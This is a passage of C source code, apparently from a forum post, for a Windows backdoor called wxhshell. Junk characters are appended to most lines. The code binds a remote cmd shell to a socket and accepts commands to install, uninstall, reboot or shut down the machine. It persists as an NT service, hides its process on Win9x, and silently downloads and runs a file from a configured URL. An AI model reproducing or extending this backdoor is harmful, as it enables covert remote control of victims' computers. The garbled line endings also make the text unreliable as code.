  Ewm9\qmg  
  // 帮助 GF WA>5n'  
  case '?': {  p#[.{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {PmZ9  
    break; Gc!x|V;T  
  } hEk$d.!}  
  // 安装 ZN6Z~SL_i~  
  case 'i': { };g"GNy  
    if(Install()) iI>A *,{,`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jo}eeJ;k  
    else vFsLY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o14cwb  
    break; 4OX^(  
    } _ J[  
  // 卸载 #[a*rD%m  
  case 'r': { fzA9'i`  
    if(Uninstall()) X jX2]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L-\GHu~)  
    else go"Hf_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2"5v[,$1H  
    break; :Yks|VJ1  
    } s@DLt+ O5  
  // 显示 wxhshell 所在路径 qw8Rlws%  
  case 'p': { n(|^SH4$b  
    char svExeFile[MAX_PATH]; %IRi1EmN8  
    strcpy(svExeFile,"\n\r"); o]:9')5^  
      strcat(svExeFile,ExeFile); 4&f3%eTi  
        send(wsh,svExeFile,strlen(svExeFile),0); Rh |nP&6  
    break; Z<phcqEi8  
    } bTu9;(  
  // 重启 C $JmzrE  
  case 'b': { "nWw;-V}}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ERt{H3eCcJ  
    if(Boot(REBOOT)) EZj9wd"u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Y~>qGQwh  
    else { 9K&:V(gmw  
    closesocket(wsh); h} EPnC}  
    ExitThread(0); rbCAnwA2  
    } 7yba04D)  
    break; Lxk[;j+  
    } rD>f|kA?L  
  // 关机 B]$GSEB  
  case 'd': { j)GtEP<n#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BSMwdr  
    if(Boot(SHUTDOWN)) V_:&S2j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :hV7> rr  
    else { S@Hf &hJ  
    closesocket(wsh); |W\(kb+  
    ExitThread(0); `#gie$B{  
    } yA>nli=  
    break; 9E6R0D}  
    } pD74+/DD  
  // 获取shell Bnd [X  
  case 's': { f`/x"@~H5  
    CmdShell(wsh); 5^KWCS7@  
    closesocket(wsh); d:{O\   
    ExitThread(0); e!r-+.i(  
    break; AvHCO8h|  
  } @gtQQxf"  
  // 退出 pBPl6%C.X-  
  case 'x': { !3v1bGk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l0hlM#  
    CloseIt(wsh); _7)n(1h[3b  
    break; ->{KVPHe{  
    } +H2-ZXr  
  // 离开 3Le{\}-$.  
  case 'q': { XGMiW0j0B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IkXx# )  
    closesocket(wsh); s!e3|pGS  
    WSACleanup(); M:6"H%h,W  
    exit(1); I0 RvnMw  
    break; KK%M~Y+tU'  
        } TBrPf-Xr  
  } Fr$5RAyg  
  } 2wgg7[tGi  
pU7lnS[  
  // 提示信息 0<B$#8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 27< Enq]  
} i@R 1/M  
  } LYg- .~<I  
Cs ifKHI  
  return; qcGK2Qx  
} C{XmVc.  
f>Jr|#k  
// shell模块句柄 ;xs"j-r/  
int CmdShell(SOCKET sock)  50C   
{ ]]juN  
STARTUPINFO si; @Pzu^  
ZeroMemory(&si,sizeof(si)); E=w1=,/y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 14'45  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .k \@zQ|Ta  
PROCESS_INFORMATION ProcessInfo; u=_mvN  
char cmdline[]="cmd"; t@Nyr&|D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]}(H0?OQR  
  return 0; P}G+4Sk  
} D{~fDRR  
U!Z,xx[]  
// 自身启动模式 A$xF$l  
int StartFromService(void) (/*]?Ehd  
{ lo!+f"7ym\  
typedef struct dmN&+t  
{ g2/8~cn8z  
  DWORD ExitStatus; *C=>X193U  
  DWORD PebBaseAddress; t3Y:}%M  
  DWORD AffinityMask; }I6vqG  
  DWORD BasePriority; &q|K!5[k  
  ULONG UniqueProcessId; !1Cy$}w  
  ULONG InheritedFromUniqueProcessId; x7x\Y(@  
}   PROCESS_BASIC_INFORMATION; 'anG:=  
Q'mM3pq4r  
PROCNTQSIP NtQueryInformationProcess; kd$D 3S ^{  
az|N-?u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5j-YM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Z,\Vw:\F  
{3{"8-18  
  HANDLE             hProcess; 1q1jZqno  
  PROCESS_BASIC_INFORMATION pbi; \A6B,|@  
:'&brp3ii=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zdo'{ $  
  if(NULL == hInst ) return 0; HuKc9U'7A  
k/gZ,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q7COQ2~K   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  H =^`!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sw^u3  
~PahoRS  
  if (!NtQueryInformationProcess) return 0;  \qK&q  
?vHU #  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :+|Z@KB  
  if(!hProcess) return 0; [o5Hl^  
 A4<Uu~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m&?r%x  
A1?2*W  
  CloseHandle(hProcess); ;H.^i|_/  
-701j'q{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GU8sO@S5#  
if(hProcess==NULL) return 0; {9aE5kR  
6ez<g Uf  
HMODULE hMod; M$8^91%4B  
char procName[255]; oW Nh@C  
unsigned long cbNeeded; hJ#xB6  
4G>H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U,-39mr  
h"lv7;B$  
  CloseHandle(hProcess); Ev(>z-{F  
pW sDzb6?%  
if(strstr(procName,"services")) return 1; // 以服务启动 fG(SNNl+D  
TNh1hhJ$b  
  return 0; // 注册表启动 #PQB(=299P  
} BC<^a )D=  
K8.!_ c  
// 主模块 :#?5X|Gz  
int StartWxhshell(LPSTR lpCmdLine) f|lU6EkU  
{ Zt.|oYH$  
  SOCKET wsl; Gc;{\VU  
BOOL val=TRUE; wInh~p  
  int port=0; ~-J]W-n  
  struct sockaddr_in door; >R! jB]5  
1sdLDw_)p  
  if(wscfg.ws_autoins) Install(); FXN/Yq  
><$d$(  
port=atoi(lpCmdLine); in-HUG  
"#oHYz3D  
if(port<=0) port=wscfg.ws_port; zZ323pq  
YCM]VDx4u1  
  WSADATA data; #c?j\Y9nz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +sUFv)!4  
#"\gLr_:m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,+{LYF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pjjewy1}^  
  door.sin_family = AF_INET; i,4>0o?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 04l!:Tp,  
  door.sin_port = htons(port); }n2M G  
`Kr,>sEAM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;^%4Q"  
closesocket(wsl); QKN+>X  
return 1; 474SMx$  
} #(JNn'fzq  
4k_vdz  
  if(listen(wsl,2) == INVALID_SOCKET) { .QJ5sgmh  
closesocket(wsl); YLv'43PL  
return 1; es&vMY  
} |O9 O )o  
  Wxhshell(wsl); `_RTw5{  
  WSACleanup(); Sf7\;^  
ime\f*Fg  
return 0; ua]o6GlO  
_EMwm&!  
} $?<Z!*x  
.=;3d~.]  
// 以NT服务方式启动 V(6Z3g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /1Q(b  
{ \6<=$vD  
DWORD   status = 0; M .JoHH  
  DWORD   specificError = 0xfffffff; sy"^?th}b  
u\{ g(li-I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =L:4i\4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2h1C9n%j9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 87P>IO  
  serviceStatus.dwWin32ExitCode     = 0; U\;6mK)M^J  
  serviceStatus.dwServiceSpecificExitCode = 0; ()+ <)hg}2  
  serviceStatus.dwCheckPoint       = 0; /ZPyN<@  
  serviceStatus.dwWaitHint       = 0; `~Zs0  
QQ~-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @&:ar  
  if (hServiceStatusHandle==0) return; X{'q24\F  
pd7NF-KD  
status = GetLastError(); - 'W++tH=  
  if (status!=NO_ERROR) An"</;HU  
{ f Tl<p&b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I@%t.%O Jp  
    serviceStatus.dwCheckPoint       = 0; FCuB\ Q  
    serviceStatus.dwWaitHint       = 0; \r,Q1n?7  
    serviceStatus.dwWin32ExitCode     = status; Rh{zH~oZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7-T{a<g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A1#%`^W9  
    return; #+5pgD2C  
  } MLWM&cFG  
;\Y& ce  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T}P".kpbS  
  serviceStatus.dwCheckPoint       = 0; !Kj,9NX{U  
  serviceStatus.dwWaitHint       = 0; @I/]D6 ~"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "zRoU$X  
}  %. ,=maA  
mfo1+owT  
// 处理NT服务事件,比如:启动、停止 y_IM@)1H~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yo )%J  
{ R_7 d@FQ1  
switch(fdwControl) vIwCJN1C  
{ :1^R9yWA4  
case SERVICE_CONTROL_STOP: A"D,Kg S  
  serviceStatus.dwWin32ExitCode = 0; "WK{ >T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o=?C&f{  
  serviceStatus.dwCheckPoint   = 0; 5HO9 +i  
  serviceStatus.dwWaitHint     = 0; h!ZV8yMc  
  { >W`4aA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oifv+oY  
  } B'EKM)dA  
  return; 7`8Ik`lY  
case SERVICE_CONTROL_PAUSE: BT"42#7_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aKuSd3E@#  
  break; h{p=WWK  
case SERVICE_CONTROL_CONTINUE: >ByXB!Wi+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aZ'Lx:)R  
  break; p2udm!)J  
case SERVICE_CONTROL_INTERROGATE: y+6o{`0  
  break; pg%aI,  
}; )>-ibf`#?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K7Wk6Aw  
} G\r?f&  
H& Ca`B  
// 标准应用程序主函数 a|=x5`h04~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `poE6\  
{ LLXVNO@e+  
P2'DD 3   
// 获取操作系统版本 !0C^TCuG  
OsIsNt=GetOsVer(); e0@Y#7N62  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ej>g.vp8I  
hq/k*;  
  // 从命令行安装 }HYjA4o\A  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xo*%/0q'  
dwd:6.J(  
  // 下载执行文件 P*Tx14xe4  
if(wscfg.ws_downexe) { 7C2&NyWJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CL}{mEr}  
  WinExec(wscfg.ws_filenam,SW_HIDE); (B-43!C  
} i'wAE:Xe  
g9WGkH F  
if(!OsIsNt) { |{ PI102  
// 如果时win9x,隐藏进程并且设置为注册表启动 ['*8IWg  
HideProc(); w{90`  
StartWxhshell(lpCmdLine); z7Eg5rm|QZ  
} !G}+E2fDA  
else S (N\cw$  
  if(StartFromService()) r~nsN*t  
  // 以服务方式启动 VZ](uFBY  
  StartServiceCtrlDispatcher(DispatchTable); 1`9xIm*9w  
else !i%"7tQ3$  
  // 普通方式启动 pzgSg[|  
  StartWxhshell(lpCmdLine); }~h(w^t  
'fNKlPMv4D  
return 0; <rL/B k  
}
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只看该作者 1 发表于: 2006-10-10
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